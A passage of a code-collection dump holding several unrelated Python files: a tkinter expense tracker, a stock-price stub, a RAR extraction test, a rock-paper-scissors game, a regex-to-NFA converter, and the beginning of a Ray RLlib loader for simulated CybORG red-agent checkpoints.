relwidth=0.8, relheight=0.8, anchor='n')\n    frame5.tkraise()\n    # exp_rec_2 = pd.read_csv('/Users/student/Desktop/CS-learning/Python/Python-Stats/expense.csv')\n    \n    start_date = datetime.datetime(today.year, month_chosen, 1)\n    \n    if (month_chosen != 12):\n        next_month = month_chosen+1\n        next_year = today.year\n    else:\n        next_month = 1\n        next_year = today.year+1\n        \n    end_date = datetime.datetime(next_year, next_month, 1)\n    \n    # Expense filtered by month\n    exp_filtered_2 = exp_rec[ (exp_rec['Date'] >= start_date.strftime('%Y-%m-%d')) \n                           & (exp_rec['Date'] < end_date.strftime('%Y-%m-%d'))]\n    \n    \n    # Expense grouped by Category\n    exp_categorized_2 = exp_filtered_2.groupby(by=['Category'])['Amount'].sum()\n    \n    fig_exp_2 = plt.Figure(figsize=(6,5), dpi=100)\n    \n    # Pie chart\n    ax4 = fig_exp_2.add_subplot(221)\n    pie_exp_2 = FigureCanvasTkAgg(fig_exp_2, frame5)\n    pie_exp_2.get_tk_widget().pack(side=tk.LEFT, fill=tk.BOTH)\n    exp_categorized_2.plot.pie(y='Amount', figsize=(6,6), ax=ax4)\n    ax4.set_title('Exepnse by Category')\n    \n    \n    # Create new column: day (in date) for bar graph\n    exp_filtered_2['Day'] = exp_filtered_2.Date.apply(lambda x: x[8:])\n    print(exp_filtered_2)\n    \n    \n    # Expense grouped by Date\n    exp_grouped_2 = exp_filtered_2.groupby(by=['Day'])['Amount'].sum()\n    \n    # Bar graph\n    ax3 = fig_exp_2.add_subplot(223)\n    bar_exp_2 = FigureCanvasTkAgg(fig_exp_2, frame5)\n    bar_exp_2.get_tk_widget().pack(side=tk.LEFT, fill=tk.BOTH)\n    exp_grouped_2.plot(kind='bar', x=\"Date\", y=\"Amount\", figsize=(5,4), ax=ax3)\n    ax3.set_title('Monthly Expense Trend- Month: ' + str(month_chosen))\n    \n    # Retrieve fixed expense\n    # fixed_exp_2 = pd.read_csv('/Users/student/Desktop/CS-learning/Python/Python-Stats/fixed.csv')\n    # fixed_total_2 = fixed_exp_2.Rent[0] + fixed_exp_2['Health Insurance'][0] \n    # + fixed_exp_2['Mobile Fee'][0]\n     \n    var_exp_2 = exp_filtered_2['Amount'].sum()\n    \n    # Summary stats\n    label_total_2 = tk.Label(frame5, text=\"Total Amount: $ \"\n                           +str(round(fixed_total + var_exp_2 ,2)))\n    label_total_2.place(relx=0.8, rely=0.1, anchor='n')\n    label_fixed_2 = tk.Label(frame5, text=\"Fixed Expense: $ \" + str(fixed_total))\n    label_fixed_2.place(relx=0.8, rely=0.2, anchor='n')\n    label_variable_2 = tk.Label(frame5, text=\"Variable Expense: $ \" + str(round(var_exp_2)))\n    label_variable_2.place(relx=0.8, rely=0.3, anchor='n')\n    \n    btn_backtoprev_stat2_2 = tk.Button(frame5, text=\"BACK\", highlightbackground='#b3e6ff', \n              highlightthickness=50, command=statsPage)\n    btn_backtoprev_stat2_2.place(relx=0.1, rely=0, anchor='n', relwidth=0.1, relheight=0.05)\n\n    btn_backToMain_stat2_2 = tk.Button(frame5, text=\"HOME\", highlightbackground='#b3e6ff', \n              highlightthickness=50, command=mainPage)\n    btn_backToMain_stat2_2.place(relx=0.9, rely=0, anchor='n', relwidth=0.1, relheight=0.05)\n\n    \n    \n\ndef setting_page():\n    frame_setting.place(relx=0.5, rely=0.1, relwidth=0.8, relheight=0.8, anchor='n')\n    frame_setting.tkraise()\n    \n\ndef check_setting(rent, insurance, mobile):\n    #Error message\n    \n    text_exception = tk.StringVar()\n    entry_exception = tk.Entry(frame_setting, text=text_exception)\n    entry_exception.place(relx=0.5, rely=0.9, relwidth=0.7, anchor='n')\n    \n    check_1 = False\n    check_2 = False\n    check_3 = False\n    \n    try:\n        rent_int = int(rent)\n        check_1 = True\n    except ValueError:\n        text_exception.set(\"* WARNING: Please type a number for the rent amount\")\n    \n    try:\n        insurance_int = int(insurance)\n        check_2 = True\n    except ValueError:\n        text_exception.set(\"* WARNING: Please type a number for the insurance amount\")\n    \n    try:\n        mobile_int = int(mobile)\n        check_3 = True\n    except ValueError:\n        text_exception.set(\"* WARNING: Please type a number for the mobile fee\")\n        \n    if (check_1 & check_2 & check_3):\n        save_setting(rent_int, insurance_int, mobile_int)\n        \n        \ndef save_setting(rent, insurance, mobile):\n    global col_names_fixed\n    global collection_fixed\n    global fixed_total\n    #print(rent)\n    #print(insurance)\n    #print(mobile)\n    \n    # Old csv file\n    \n    # fixed = {'Rent': [rent], 'Health Insurance': [insurance], 'Mobile Fee': [mobile]}\n    # fixed_df = pd.DataFrame(fixed, columns=col_names_fixed)\n    # fixed_df.to_csv('/Users/student/Desktop/CS-learning/Python/Python-Stats/fixed.csv', index=False)\n    # print(fixed_df)\n    # check = pd.read_csv('/Users/student/Desktop/CS-learning/Python/Python-Stats/fixed.csv')\n    # print(check.head())\n    \n    collection_fixed.update_one({\"_id\": 0}, {\"$set\": {\"Rent\": rent, \n                                                      \"HealthInsurance\": insurance, \n                                                      \"MobileFee\": mobile}})\n    fixed_total = rent + insurance + mobile\n    mainPage()\n            \n        \n\n\nbtn_backToMain_exp1 = tk.Button(frame2, text=\"BACK\", highlightbackground='#b3e6ff', \n              highlightthickness=50, command=mainPage)\nbtn_backToMain_exp1.place(relx=0.1, rely=0, anchor='n', relwidth=0.1, relheight=0.05)\n\nbtn_backToMain_exp2 = tk.Button(frame3, text=\"BACK\", highlightbackground='#b3e6ff', \n              highlightthickness=50, command=expPage)\nbtn_backToMain_exp2.place(relx=0.1, rely=0, anchor='n', relwidth=0.1, relheight=0.05)\n\n\n# Expense Value Page\nvar_amount = tk.StringVar()\nlabel_amount = tk.Label(frame2, text=\" $ \")\nentry_amount = tk.Entry(frame2, textvariable=var_amount)\nlabel_amount.place(relx=0.55, rely=0.3, anchor='n')\nentry_amount.place(relx=0.8, rely=0.3, anchor='n')\n\nbtn_next = tk.Button(frame2, text='NEXT', highlightbackground='#b3e6ff', \n                  highlightthickness=50, command=check_exp_val)\nbtn_next.place(relx=0.9, rely=0, anchor='n', relwidth=0.1, relheight=0.05)\n\n\n# Calendar Page\nbtn_cal_exp = tk.Button(frame_cal, text='NEXT', highlightbackground='#b3e6ff', \n                  highlightthickness=50, command=expPage)\nbtn_cal_exp.place(relx=0.9, rely=0, anchor='n', relwidth=0.1, relheight=0.05)\nbtn_backToMain_cal = tk.Button(frame_cal, text='BACK', highlightbackground='#b3e6ff', \n              highlightthickness=50, command=mainPage)\nbtn_backToMain_cal.place(relx=0.1, rely=0, anchor='n', relwidth=0.1, relheight=0.05)\n\n\n\n#btn_quit = tk.Button(frame, text='QUIT', highlightbackground='#b366ff', \n#                  highlightthickness=40, command=quitApp)\n#btn_quit.place(relx=0.9, rely=0, relwidth=0.08, relheight=0.08)\n\nbtn_1 = tk.Button(frame, text='EXPENSE', highlightbackground='#b3e6ff', \n               highlightthickness=50, command=calPage)\nbtn_1.place(relx=0.5, rely=0.1, relwidth=0.35, relheight=0.2, anchor='n')\n\n\n# btn_2 = tk.Button(frame, text='INCOME', highlightbackground='#b3e6ff', \n#                   highlightthickness=50)\n# btn_2.place(relx=0.51, rely=0.1, relwidth=0.3, relheight=0.2)\n\n\nbtn_3 = tk.Button(frame, text='REPORT', highlightbackground='#c299ff', \n                  highlightthickness=50, command=statsPage)\nbtn_3.place(relx=0.5, rely=0.35, relwidth=0.35, relheight=0.2, anchor='n')\n\n\nbtn_4 = tk.Button(frame, text='SETTINGS', highlightbackground='#ffb3d9', \n                  highlightthickness=50, command=setting_page)\nbtn_4.place(relx=0.5, rely=0.6, relwidth=0.35, relheight=0.2, anchor='n')\n\n\n#sub category page\nbtn_c1 = tk.Button(frame3, text='Grocery', highlightbackground='#c299ff', \n                  highlightthickness=40, command = lambda *args:subcatValue('Grocery'))\nbtn_c1.place(relx=0.1, rely=0.3, relwidth=0.15, relheight=0.15)\nbtn_c2 = tk.Button(frame3, text='Cafe', highlightbackground='#c299ff', \n                  highlightthickness=40, command = lambda *args:subcatValue('Cafe'))\nbtn_c2.place(relx=0.3, rely=0.3, relwidth=0.15, relheight=0.15)\n\n# Moved to Fixed Expense\n# btn_c3 = tk.Button(frame3, text='Rent', highlightbackground='#c299ff', \n#                   highlightthickness=40, command = lambda *args:subcatValue('Rent'))\n# btn_c3.place(relx=0.5, rely=0.3, relwidth=0.15, relheight=0.15)\n\nbtn_c4 = tk.Button(frame3, text='Restaurant', highlightbackground='#c299ff', \n                  highlightthickness=40, command = lambda *args:subcatValue('Restaurant'))\nbtn_c4.place(relx=0.5, rely=0.3, relwidth=0.15, relheight=0.15)\nbtn_c5 = tk.Button(frame3, text='Necessities', highlightbackground='#c299ff', \n                  highlightthickness=40, command = lambda *args:subcatValue('Necessities'))\nbtn_c5.place(relx=0.1, rely=0.5, relwidth=0.15, relheight=0.15)\n\nbtn_c6 = tk.Button(frame3, text='Health', highlightbackground='#c299ff', \n                  highlightthickness=40, command = lambda *args:subcatValue('Health'))\nbtn_c6.place(relx=0.3, rely=0.5, relwidth=0.15, relheight=0.15)\n\n\n# Moved to Fixed Expense\n# btn_c7 = tk.Button(frame3, text='Mobile', highlightbackground='#c299ff', \n#                   highlightthickness=40, command = lambda *args:subcatValue('Mobile'))\n# btn_c7.place(relx=0.5, rely=0.5, relwidth=0.15, relheight=0.15)\n\n\n#stat page\nbtn_current = tk.Button(frame_stat, text='This Statement', highlightbackground='#c299ff', \n                  highlightthickness=40, command = stat_basic_current)\nbtn_current.place(relx=0.1, rely=0.3, relwidth=0.30, relheight=0.15)\nbtn_prev = tk.Button(frame_stat, text='Last Statement', highlightbackground='#c299ff', \n                  highlightthickness=40, command = stat_basic_prev)\nbtn_prev.place(relx=0.6, rely=0.3, relwidth=0.30, relheight=0.15)\n\nbtn_backtoprev_stat = tk.Button(frame_stat, text=\"BACK\", highlightbackground='#b3e6ff', \n              highlightthickness=50, command=mainPage)\nbtn_backtoprev_stat.place(relx=0.1, rely=0, anchor='n', relwidth=0.1, relheight=0.05)\n\n\n#stat-2 page\n\n\n\n#setting page\nlabel_rent = tk.Label(frame_setting, text=\"Rent\")\nlabel_rent.place(relx=0.25, rely=0.1, relwidth=0.2, relheight=0.15)\nentry_rent = tk.Entry(frame_setting)\nentry_rent.place(relx=0.55, rely=0.1, relwidth=0.2, relheight=0.15)\nlabel_ins = tk.Label(frame_setting, text=\"Health Insurance\")\nlabel_ins.place(relx=0.25, rely=0.3, relwidth=0.2, relheight=0.15)\nentry_ins = tk.Entry(frame_setting)\nentry_ins.place(relx=0.55, rely=0.3, relwidth=0.2, relheight=0.15)\nlabel_mobile = tk.Label(frame_setting, text=\"Mobile Fee\")\nlabel_mobile.place(relx=0.25, rely=0.5, relwidth=0.2, relheight=0.15)\nentry_mobile = tk.Entry(frame_setting)\nentry_mobile.place(relx=0.55, rely=0.5, relwidth=0.2, relheight=0.15)\n\n\nbtn_save_setting = tk.Button(frame_setting, text=\"SAVE\", highlightbackground='#c299ff', \n                  highlightthickness=40, command= lambda *args: \n                      check_setting(entry_rent.get(), entry_ins.get(), \n                                    entry_mobile.get()))\nbtn_save_setting.place(relx=0.5, rely=0.7, relwidth=0.2, relheight=0.15, anchor='n')\n\nbtn_back_setting = tk.Button(frame_setting, text=\"BACK\", highlightbackground='#b3e6ff', \n              highlightthickness=50, command=mainPage)\nbtn_back_setting.place(relx=0.1, rely=0, anchor='n', relwidth=0.1, relheight=0.05)\n\n\n\n\nframe.tkraise()\nroot.mainloop()\n\n\n\n\n","repo_name":"chaeyeonku/Expense-Tracker","sub_path":"budget.py","file_name":"budget.py","file_ext":"py","file_size_in_byte":20606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74901665977","text":"import sys\nfrom language import translate as _\nfrom convert import convert\n\nimport currency\n\n__all__ = [\"check_item\"]\n\n\ndef check_item(stock, currency_code, lang):\n    \"\"\"\n    Check if a stock item is available and its price, we dont have data on stock and we will therefore assume all stock is\n    available and all have a price of 120 USD\n\n    :param stock: Name of the item\n    :param currency_code: default USD\n    :param lang: language to display\n    :return: None\n    \"\"\"\n    if currency_code is not None:\n        currency.verify_support(currency_code, lang, display=False)\n        currency_code = currency_code.upper()\n    else:\n        currency_code = \"USD\"\n\n    # Since we do not have data on stocks, we give the stock a default price of 100 USD\n    price = 120\n    if currency_code != \"USD\":\n        # convert the amount\n        price = convert(price, from_currency=\"USD\", to_currency=currency_code)\n    print(_(f\"The current price for {stock} is {price} {currency_code}\", lang))\n    sys.exit()\n","repo_name":"deisaack/focus","sub_path":"q2/stock/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13634364853","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n\"\"\"\nfrom __future__ import unicode_literals, absolute_import\nfrom os import makedirs, unlink\nimport tempfile\nimport shutil\nimport unittest\nfrom os.path import exists, join\nimport rarfile\nfrom autobit import archive\nfrom autobit.tests import fixture_root\n\nclass TestArchive(unittest.TestCase):\n    rls_a = \"\"\n    rls_b = \"\"\n    archive_root = join(fixture_root, \"archives\")\n\n    def setUp(self):\n        self.temp_dir = tempfile.mkdtemp(prefix=\"autobit\")\n        self.rls_a_path = join(self.temp_dir, self.rls_a)\n        self.rls_b_path = join(self.temp_dir, self.rls_b)\n        for path in [self.rls_a_path, self.rls_b_path]:\n            try:\n                makedirs(path)\n            except FileExistsError:\n                pass\n\n    def tearDown(self):\n        if exists(self.temp_dir):\n            shutil.rmtree(self.temp_dir, ignore_errors=True)\n\n    def test_extract_release(self):\n        paths = [\"long_naming\", \"standard_naming\", \"uncompressed\"]\n        for path in (join(self.archive_root, p) for p in paths):\n            found_file = archive.find_rar(path)\n            try:\n                extracted_file = archive.extract_rar(found_file, self.temp_dir)\n            except rarfile.NotRarFile:\n                extracted_file = found_file\n                self.assertTrue(exists(extracted_file))\n            else:\n                self.assertTrue(exists(extracted_file))\n                try:\n                    unlink(extracted_file)\n                except OSError:\n                    pass\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"leighmacdonald/autobit","sub_path":"autobit/tests/test_archive.py","file_name":"test_archive.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"35328590851","text":"from tkinter import *\nfrom random import choice\n\nFONT = ('Comic Sans MS', 12, 'normal')\nchoices = ['Rock', 'Paper', 'Scissors']\nplayer_score = 0\ncomputer_score = 0\n\n\ndef update_text(user_choice, computer_choice, winner):\n    winner_text = ''\n    if winner == 'player':\n        winner_text = 'You Win!'\n    elif winner == 'computer':\n        winner_text = 'Computer Won!'\n    elif winner == 'draw':\n        winner_text = \"It's a Draw!\"\n    text.delete('1.0', END)\n    text.insert(END, f'''Your Choice: {user_choice}\nComputer's Choice: {computer_choice}\n------------------------------\n{winner_text}\n------------------------------\nYour Score: {player_score}\nComputer Score: {computer_score}''')\n\n\ndef increase_scores(who):\n    global player_score\n    global computer_score\n    if who == 'player':\n        player_score += 1\n    elif who == 'computer':\n        computer_score += 1\n\n\ndef rock():\n    cpu = choice(choices)\n    winner = ''\n    if cpu == 'Rock':\n        winner = 'draw'\n    elif cpu == 'Paper':\n        winner = 'computer'\n        increase_scores('computer')\n    elif cpu == 'Scissors':\n        winner = 'player'\n        increase_scores('player')\n    update_text('Rock', cpu, winner)\n\n\ndef paper():\n    cpu = choice(choices)\n    winner = ''\n    if cpu == 'Paper':\n        winner = 'draw'\n    elif cpu == 'Scissors':\n        winner = 'computer'\n        increase_scores('computer')\n    elif cpu == 'Rock':\n        winner = 'player'\n        increase_scores('player')\n    update_text('Paper', cpu, winner)\n\n\ndef scissors():\n    cpu = choice(choices)\n    winner = ''\n    if cpu == 'Scissors':\n        winner = 'draw'\n    elif cpu == 'Rock':\n        winner = 'computer'\n        increase_scores('computer')\n    elif cpu == 'Paper':\n        winner = 'player'\n        increase_scores('player')\n    update_text('Scissors', cpu, winner)\n\n\nwindow = Tk()\nwindow.title('Rock, Paper, Scissors')\nwindow.config(padx=20, pady=20)\n\n# BUTTONS\nrock_button = Button(text='Rock', command=rock, font=FONT, bg=\"#38c3f5\")\nrock_button.grid(row=1, column=0)\nrock_button.config(width=6)\n\npaper_button = Button(text='Paper', command=paper, font=FONT, bg='#fc627c')\npaper_button.grid(row=1, column=1)\npaper_button.config(width=6)\n\nscissors_button = Button(text='Scissors', command=scissors, font=FONT, bg='#8bff61')\nscissors_button.grid(row=1, column=2)\nscissors_button.config(width=6)\n\n# TEXT BOX\ntext = Text(master=window, height=7, width=30, bg=\"#FFFF99\", font=FONT)\ntext.insert(END, 'Your turn to choose, click a button...')\ntext.grid(row=0, column=1)\n\nwindow.mainloop()\n","repo_name":"python3xdev/100DaysOfCodePython","sub_path":"Day 27 - Intermediate/Some Tkinter Practice/Rock_Paper_Scissors.py","file_name":"Rock_Paper_Scissors.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"13669151929","text":"from typing import Pattern, final\nfrom dfa import DFA\nfrom nfa import NFA\nimport os\n\nclearConsole = lambda: os.system('cls' if os.name in ('nt', 'dos') else 'clear')\n\n\n\n\nclass regularExpression:\n    __patern=\"\";\n    __mpat=\"\";\n    __alphabets=[None]\n    __small_latters=\"\";\n    __capital_latters=\"\";\n    for i in range(ord('a'),ord('z')):__small_latters+=chr(i)+\"|\"\n    __small_latters+=\"z\"\n    for i in range(ord('A'),ord('Z')):__capital_latters+=chr(i)+\"|\"\n    __capital_latters+=\"Z\"\n    __graph=[]\n    __nfa_steps=[]\n    __nfa_queue=[]\n    __nfa_states=0;\n    __nfa=\"\";\n\n    __changes={\n        \"0-9\":\"0|1|2|3|4|5|6|7|8|9\",\n        \"a-z\":__small_latters,\n        \"A-Z\":__capital_latters\n    }\n\n\n    def __init__(self,pattern):\n        self.__patern=pattern\n        self.interchange()\n        self.alphaStore()\n        self.modify()\n        \n        pass\n\n    def interchange(self):\n        self.__patern=self.__patern.replace(\" \",\"\")\n        for i in self.__changes.keys():\n            self.__patern=self.__patern.replace(i,self.__changes[i]) \n        self.__patern=self.__patern.replace(\"[\",\"(\")\n        self.__patern=self.__patern.replace(\"]\",\")\")\n        #print(self.__patern)\n\n\n\n    def alphaStore(self):\n        for i in range(len(self.__patern)):\n             if((self.__patern[i]!='*') \n            and (self.__patern[i]!='|')\n            and (self.__patern[i]!='+')\n            and (self.__patern[i]!='.')\n            and (self.__patern[i]!='(')\n            and (self.__patern[i]!=')')\n            and (self.__patern[i]!='?')\n            ):\n                if(self.__patern[i] not in self.__alphabets):\n                    self.__alphabets.append(self.__patern[i])\n        #print(self.__alphabets)\n\n    def trail_brackets(self,s):\n        while((s[0]==\"(\") and (s[-1]==\")\")):\n            s=s[1:-1]\n        return s\n        \n\n    def divide(self,st):\n        b=0;\n        s=\"\"\n        arr=[]\n        final_arr=[]\n        operation=None\n        for i in range(len(st)):\n            if(st[i]==\"(\"):b+=1\n            elif(st[i]==\")\"):b-=1\n            if((st[i]==\"|\") and (b==0)):\n                arr.append(s)\n                s=\"\"\n            else:\n                s+=st[i]\n        arr.append(s)\n        ##print(arr,\"|\")    \n        operation=\"|\"\n        if(len(arr)==1):\n            b=0;\n            s=\"\"\n            arr=[]\n            for i in range(len(st)):\n                if(st[i]==\"(\"):b+=1\n                elif(st[i]==\")\"):b-=1\n                if((st[i]==\"~\") and (b==0)):\n                    arr.append(s)\n                    s=\"\"\n                else:\n                    s+=st[i]\n            arr.append(s)\n            ##print(arr,\"~\")  \n            operation=\"~\"\n        \n        ##print(arr)     \n        if((len(arr)==1)and ((arr[0][-1]==\"*\") or (arr[0][-1]==\"+\")  or (arr[0][-1]==\"?\"))):\n            operation=arr[0][-1]\n            arr[0]=arr[0][:-1]\n            #arr[0]=self.trail_brackets(arr[0])\n        elif((len(arr)==1)):\n            operation=None\n        if(operation!=None) :  \n            for i in range(len(arr)):arr[i]=self.trail_brackets(arr[i])\n\n        final_arr=[arr,operation]\n        ##print(\"final: \",final_arr)\n        return final_arr\n        \n\n    def modify(self):\n        self.__mpat=\"\"\n        for i in range(len(self.__patern)):\n            self.__mpat+=self.__patern[i];\n            try:\n                if((self.__patern[i] in self.__alphabets)\n                and (self.__patern[i+1] in self.__alphabets)):\n                    self.__mpat+=\"~\";\n                elif(((self.__patern[i]==\"*\") or (self.__patern[i]==\"+\")  or (self.__patern[i]==\"?\"))\n                and (self.__patern[i+1] in self.__alphabets)):\n                    self.__mpat+=\"~\";\n                \n                elif(((self.__patern[i]==\"*\") or (self.__patern[i]==\"+\")  or (self.__patern[i]==\"?\"))\n                and (self.__patern[i+1]==\"(\")):\n                    self.__mpat+=\"~\";\n                \n                elif((self.__patern[i] in self.__alphabets)\n                and (self.__patern[i+1]==\"(\")):\n                    self.__mpat+=\"~\";\n                elif((self.__patern[i]==\")\")\n                and (self.__patern[i+1]==\"(\")):\n                    self.__mpat+=\"~\";\n\n                elif((self.__patern[i]==\")\")\n                and (self.__patern[i+1] in self.__alphabets)):\n                    self.__mpat+=\"~\"; \n            except:\n                continue \n        #print(\"here\")  \n        #print(self.__mpat)\n        self.__nfa_steps =[[0,self.__mpat,1]]\n        self.__nfa_states+=2;\n        self.__nfa_queue=[self.__mpat]\n        \n\n    def create_nfa(self):\n        # split_arr=self.divide(self.__nfa_queue[0])\n        counter=0;\n        graph=[[[] for i in range(len(self.__alphabets))]]\n        for j in range(400):graph.append([[] for k in range(len(self.__alphabets))]);\n        #print(self.divide(self.__nfa_queue[0]))\n        # #print(self.divide(split_arr[0]))\n        while(len(self.__nfa_queue)>0):\n            ##print(self.__nfa_queue[0])  \n            split_arr=self.divide(self.__nfa_queue[0])\n            if(split_arr[1]==None):\n                counter+=1\n                self.__nfa_queue.pop(0)\n                continue;\n            for i in range(len(split_arr[0])):            \n                # #print(self.__nfa_states,counter)\n                # #print(self.__nfa_queue[0],self.__nfa_steps[counter])\n                self.__nfa_queue.append(split_arr[0][i])\n                self.__nfa_steps.append([self.__nfa_states,split_arr[0][i],self.__nfa_states+1])\n                if(split_arr[1]==\"|\"):\n                    # #print(self.__nfa_steps[counter],self.__nfa_states,counter)\n                    graph[self.__nfa_steps[counter][0]][0].append(self.__nfa_states);\n                    graph[self.__nfa_states+1][0].append(self.__nfa_steps[counter][2]);\n                if(split_arr[1]==\"~\"):\n                    # #print(self.__nfa_states,i)\n                    if(i==0):\n                        # #print(self.__nfa_states,counter)\n                        graph[self.__nfa_steps[counter][0]][0].append(self.__nfa_states);\n                    if(i==len(split_arr[0])-1):\n                        # #print(self.__nfa_states,counter)\n                        graph[self.__nfa_states+1][0].append(self.__nfa_steps[counter][2]);\n                    else:\n                        graph[self.__nfa_states+1][0].append(self.__nfa_states+2);\n                if(split_arr[1]==\"+\"):\n                    graph[self.__nfa_steps[counter][0]][0].append(self.__nfa_states)\n                    graph[self.__nfa_states+1][0].append(self.__nfa_steps[counter][2])\n                    graph[self.__nfa_states+1][0].append(self.__nfa_states)\n                if(split_arr[1]==\"*\"):\n                    graph[self.__nfa_steps[counter][0]][0].append(self.__nfa_states)\n                    graph[self.__nfa_states+1][0].append(self.__nfa_steps[counter][2])\n                    graph[self.__nfa_states+1][0].append(self.__nfa_states)\n                    graph[self.__nfa_steps[counter][0]][0].append(self.__nfa_steps[counter][2])\n\n                if(split_arr[1]==\"?\"):\n                    graph[self.__nfa_steps[counter][0]][0].append(self.__nfa_states)\n                    graph[self.__nfa_states+1][0].append(self.__nfa_steps[counter][2])\n                    #graph[self.__nfa_states+1][0].append(self.__nfa_states)\n                    graph[self.__nfa_steps[counter][0]][0].append(self.__nfa_steps[counter][2])\n\n                if(split_arr[0][i] in self.__alphabets):\n                    #print(split_arr[0][i],self.__nfa_states)\n                    graph[self.__nfa_states][self.__alphabets.index(split_arr[0][i])].append(self.__nfa_states+1);\n                elif(split_arr[0][i]==\"!\"):\n                    graph[self.__nfa_states][0].append(self.__nfa_states+1);\n                self.__nfa_states+=2 \n\n            self.__nfa_queue.pop(0)\n            counter+=1\n        #print(self.__nfa_steps)\n        # for k in range(self.__nfa_states+1):\n        #     print(f\"{k}: \",graph[k])\n\n        #print(graph[:self.__nfa_states+1])\n\n        self.__nfa=NFA(self.__nfa_states+2,self.__alphabets)\n\n        for states in range(self.__nfa_states+1):\n            for i in range(len(graph[states])):\n                for j in graph[states][i]:\n                    self.__nfa.connect(states,self.__alphabets[i],j)\n        \n        self.__nfa.finalStates([1])\n        #self.__nfa.printNFA()\n\n        #self.__nfa.toDFA();\n\n        #print(self.__nfa.examine(\"bababbabacdd\"))\n\n\n    def printNFA(self):\n        self.create_nfa()\n        self.__nfa.printNFA()\n\n    def printDFA(self):\n        self.create_nfa()\n        self.__nfa.printDFA()\n\n\n    def examine(self,pattern):\n        self.create_nfa()\n        return self.__nfa.examine(pattern)\n\n\n\n \n\nif __name__==\"__main__\":\n    clearConsole()\n    r=regularExpression(\"(ca)*b\")\n    #r.printNFA()\n    #r.printDFA()\n    print(r.examine(\"b\"))\n    print(r.examine(\"cab\"))\n    print(r.examine(\"cacab\"))\n    #r=regularExpression(\"((ab)*)\")\n\n","repo_name":"Mainak-Deb/Automata_python_module","sub_path":"regularExpression.py","file_name":"regularExpression.py","file_ext":"py","file_size_in_byte":8992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13114401383","text":"import os, torch\nfrom pprint import pprint\nimport os.path as path\nimport numpy as np\nimport ray\nfrom ray.rllib.agents.dqn.apex import APEX_DEFAULT_CONFIG\nfrom ray.rllib.agents.trainer import Trainer\nfrom ray.rllib.models import ModelCatalog\nfrom ray.rllib.env.env_context import EnvContext\nfrom ray.rllib.models.torch.fcnet import FullyConnectedNetwork as TorchFC\nfrom ray.rllib.models.torch.torch_modelv2 import TorchModelV2\nimport ray.rllib.agents.ppo as ppo\nimport ray.rllib.agents.dqn as dqn\n\nfrom CybORG import CybORG\nfrom CybORG.Agents.Wrappers.TrueTableWrapper import true_obs_to_table\n\nimport os\nfrom agents.hierachy_agents.agent_collection import agent_collection\nfrom agents.hierachy_agents.CybORG_Red_Agent import CybORG_Red_Agent\n\nfrom ray.rllib.agents.ppo.ppo import DEFAULT_CONFIG\n\nclass TorchModel(TorchModelV2, torch.nn.Module):\n    def __init__(self, obs_space, action_space, num_outputs, model_config,\n                 name):\n        TorchModelV2.__init__(self, obs_space, action_space, num_outputs, model_config,\n                 name)\n        torch.nn.Module.__init__(self)\n\n        self.model = TorchFC(obs_space, action_space,\n                                           num_outputs, model_config, name)\n\n    def forward(self, input_dict, state, seq_lens):\n        return self.model.forward(input_dict, state, seq_lens)\n\n    def value_function(self):\n        return self.model.value_function()\n\nclass LoadRedAgent:\n\n    \"\"\"\n    Load the agent model using the latest checkpoint and return it for evaluation\n    \"\"\"\n    def __init__(self, num_gpus, port) -> None:\n        \n        ModelCatalog.register_custom_model(\"CybORG_PPO_Model\", TorchModel)\n    \n        two_up = path.abspath(path.join(__file__, \"../../../\"))\n        # self.Remove_checkpoint_pointer = two_up + agent_collection['Remove_trained']\n        self.Restore_checkpoint_pointer = two_up + agent_collection['Restore_trained']\n\n        # print(\"Using checkpoint file (Remove): {}\".format(self.Remove_checkpoint_pointer))\n        print(\"Using checkpoint file (Restore): {}\".format(self.Restore_checkpoint_pointer))\n\n        ray.init(address='localhost:'+str(port), _redis_password='5241590000000000')\n        print('torch.device(str(\"cuda:0\")', torch.device(str(\"cuda:0\")))\n        print(\"torch.cuda.is_available()\", torch.cuda.is_available())\n\n        config_Remove = {\n            \"env\": CybORG_Red_Agent,\n            \"env_config\": {\n                \"null\": 0,\n            },\n            # Use GPUs iff `RLLIB_NUM_GPUS` env var set to > 0.\n            \"num_gpus\": 0, #int(num_gpus), #int(os.environ.get(\"RLLIB_NUM_GPUS\", \"0\")),\n            \"model\": {\n                \"custom_model\": \"CybORG_PPO_Model\",\n                \"vf_share_layers\": True,\n            },\n            \"lr\": 0.00005,\n            # \"momentum\": tune.uniform(0, 1),\n            \"num_workers\": 0,  # parallelism\n            \"framework\": \"torch\",  # May also use \"tf2\", \"tfe\" or \"torch\" if supported\n            \"eager_tracing\": True,  # In order to reach similar execution speed as with static-graph mode (tf default)\n            \"vf_loss_coeff\": 0.05,  # Scales down the value function loss for better comvergence with PPO\n            \"in_evaluation\": True,\n            'explore': False,\n            \"exploration_config\": {\n                \"type\": \"Curiosity\",  # <- Use the Curiosity module for exploring.\n                \"eta\": 1.5,  # Weight for intrinsic rewards before being added to extrinsic ones.\n                \"lr\": 0.001,  # Learning rate of the curiosity (ICM) module.\n                \"feature_dim\": 288,  # Dimensionality of the generated feature vectors.\n                # Setup of the feature net (used to encode observations into feature (latent) vectors).\n                \"feature_net_config\": {\n                    \"fcnet_hiddens\": [],\n                    \"fcnet_activation\": \"relu\",\n                },\n                \"inverse_net_hiddens\": [256],  # Hidden layers of the \"inverse\" model.\n                \"inverse_net_activation\": \"relu\",  # Activation of the \"inverse\" model.\n                \"forward_net_hiddens\": [256],  # Hidden layers of the \"forward\" model.\n                \"forward_net_activation\": \"relu\",  # Activation of the \"forward\" model.\n                \"beta\": 0.1,  # Weight for the \"forward\" loss (beta) over the \"inverse\" loss (1.0 - beta).\n                # Specify, which exploration sub-type to use (usually, the algo's \"default\"\n                # exploration, e.g. EpsilonGreedy for DQN, StochasticSampling for PG/SAC).\n                \"sub_exploration\": {\n                    \"type\": \"StochasticSampling\",\n                }\n            }\n        }\n\n        config_Restore = {\n            \"env\": 